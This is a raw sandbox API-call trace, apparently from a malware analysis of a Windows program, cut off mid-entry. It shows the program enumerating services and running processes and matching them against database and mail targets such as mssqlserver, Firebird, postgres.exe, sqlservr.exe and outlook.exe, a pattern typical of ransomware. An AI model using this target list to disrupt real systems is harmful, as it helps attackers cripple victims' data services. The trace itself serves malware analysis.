[0064.378] lstrlenW (lpString="MMCSS") returned 5 [0064.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0064.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0064.378] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0064.378] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0064.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0064.378] lstrlenW (lpString="MpsSvc") returned 6 [0064.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0064.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0064.378] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0064.378] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0064.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0064.378] lstrlenW (lpString="Netman") returned 6 [0064.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0064.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0064.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0064.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0064.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0064.378] lstrlenW (lpString="netprofm") returned 8 [0064.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0064.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0064.379] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0064.379] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0064.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0064.379] lstrlenW (lpString="NlaSvc") returned 6 [0064.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0064.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0064.379] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0064.379] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0064.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0064.379] lstrlenW (lpString="nsi") returned 3 [0064.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0064.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0064.379] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0064.379] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0064.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0064.379] lstrlenW (lpString="PcaSvc") returned 6 [0064.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0064.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0064.379] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0064.379] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0064.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0064.379] lstrlenW (lpString="PlugPlay") returned 8 [0064.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0064.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0064.379] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0064.379] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0064.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0064.379] lstrlenW (lpString="Power") returned 5 [0064.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0064.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0064.379] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0064.379] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0064.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0064.379] lstrlenW (lpString="ProfSvc") returned 7 [0064.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0064.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0064.380] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0064.380] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0064.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0064.380] lstrlenW (lpString="RpcEptMapper") returned 12 [0064.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0064.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0064.380] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0064.380] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0064.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0064.380] lstrlenW (lpString="RpcSs") returned 5 [0064.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0064.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0064.380] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0064.380] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0064.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0064.380] lstrlenW (lpString="SamSs") returned 5 [0064.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0064.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0064.380] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0064.380] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0064.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0064.380] lstrlenW (lpString="Schedule") returned 8 [0064.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0064.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0064.380] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0064.380] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0064.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0064.380] lstrlenW (lpString="SENS") returned 4 [0064.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0064.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0064.380] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0064.380] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0064.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0064.380] lstrlenW (lpString="ShellHWDetection") returned 16 [0064.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0064.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0064.381] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0064.381] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0064.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0064.381] lstrlenW (lpString="Spooler") returned 7 [0064.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0064.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0064.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0064.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0064.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0064.381] lstrlenW (lpString="swprv") returned 5 [0064.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0064.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0064.381] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0064.381] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0064.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0064.381] lstrlenW (lpString="SysMain") returned 7 [0064.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0064.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0064.381] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0064.381] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0064.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0064.381] lstrlenW (lpString="Themes") returned 6 [0064.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0064.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0064.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0064.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0064.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0064.381] lstrlenW (lpString="TrkWks") returned 6 [0064.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0064.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0064.381] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0064.382] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0064.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0064.382] lstrlenW (lpString="UxSms") returned 5 [0064.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0064.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0064.382] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0064.382] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0064.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0064.382] lstrlenW (lpString="VSS") returned 3 [0064.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0064.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0064.382] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0064.382] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0064.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0064.382] lstrlenW (lpString="WdiServiceHost") returned 14 [0064.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0064.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0064.382] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0064.382] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0064.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0064.382] lstrlenW (lpString="WdiSystemHost") returned 13 [0064.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0064.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0064.382] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0064.382] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0064.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0064.382] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0064.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0064.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0064.382] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0064.382] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0064.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0064.382] lstrlenW (lpString="Winmgmt") returned 7 [0064.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0064.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0064.383] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0064.383] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0064.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0064.383] lstrlenW (lpString="WPDBusEnum") returned 10 [0064.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0064.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0064.383] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0064.383] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0064.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0064.383] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0064.383] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0064.385] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0064.385] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0064.386] lstrlenW (lpString="System") returned 6 [0064.386] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0064.386] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0064.386] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0064.386] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0064.386] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0064.386] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0064.386] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0064.386] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0064.387] lstrlenW (lpString="smss.exe") returned 8 [0064.387] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0064.387] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0064.387] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0064.387] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0064.387] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0064.387] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0064.387] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0064.387] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0064.387] lstrlenW (lpString="csrss.exe") returned 9 [0064.387] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0064.387] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0064.387] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0064.387] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0064.387] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0064.387] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0064.387] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0064.387] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0064.388] lstrlenW (lpString="wininit.exe") returned 11 [0064.388] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0064.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0064.388] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0064.388] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0064.389] lstrlenW (lpString="csrss.exe") returned 9 [0064.389] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0064.389] lstrlenW (lpString="winlogon.exe") returned 12 [0064.389] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0064.390] lstrlenW (lpString="services.exe") returned 12 [0064.390] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0064.390] lstrlenW (lpString="lsass.exe") returned 9 [0064.390] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0064.391] lstrlenW (lpString="lsm.exe") returned 7 [0064.391] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.391] lstrlenW (lpString="svchost.exe") returned 11 [0064.391] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.392] lstrlenW (lpString="svchost.exe") returned 11 [0064.392] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.392] lstrlenW (lpString="svchost.exe") returned 11 [0064.392] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.393] lstrlenW (lpString="svchost.exe") returned 11 [0064.393] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.393] lstrlenW (lpString="svchost.exe") returned 11 [0064.393] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0064.394] lstrlenW (lpString="audiodg.exe") returned 11 [0064.394] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.394] lstrlenW (lpString="svchost.exe") returned 11 [0064.394] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.395] lstrlenW (lpString="svchost.exe") returned 11 [0064.395] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0064.395] lstrlenW (lpString="dwm.exe") returned 7 [0064.395] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0064.396] lstrlenW (lpString="explorer.exe") returned 12 [0064.396] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0064.396] lstrlenW (lpString="spoolsv.exe") returned 11 [0064.396] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0064.397] lstrlenW (lpString="taskhost.exe") returned 12 [0064.397] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.397] lstrlenW (lpString="svchost.exe") returned 11 [0064.397] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0064.398] lstrlenW (lpString="taskeng.exe") returned 11 [0064.398] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0064.398] lstrlenW (lpString="taskhost.exe") returned 12 [0064.398] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0064.399] lstrlenW (lpString="br_maintaining.exe") returned 18 [0064.399] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0064.399] lstrlenW (lpString="kitsenormous.exe") returned 16 [0064.399] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0064.400] lstrlenW (lpString="intermediate-components.exe") returned 27 [0064.400] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0064.400] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0064.400] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0064.401] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0064.401] Process32NextW (in: hSnapshot=0x1fc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, 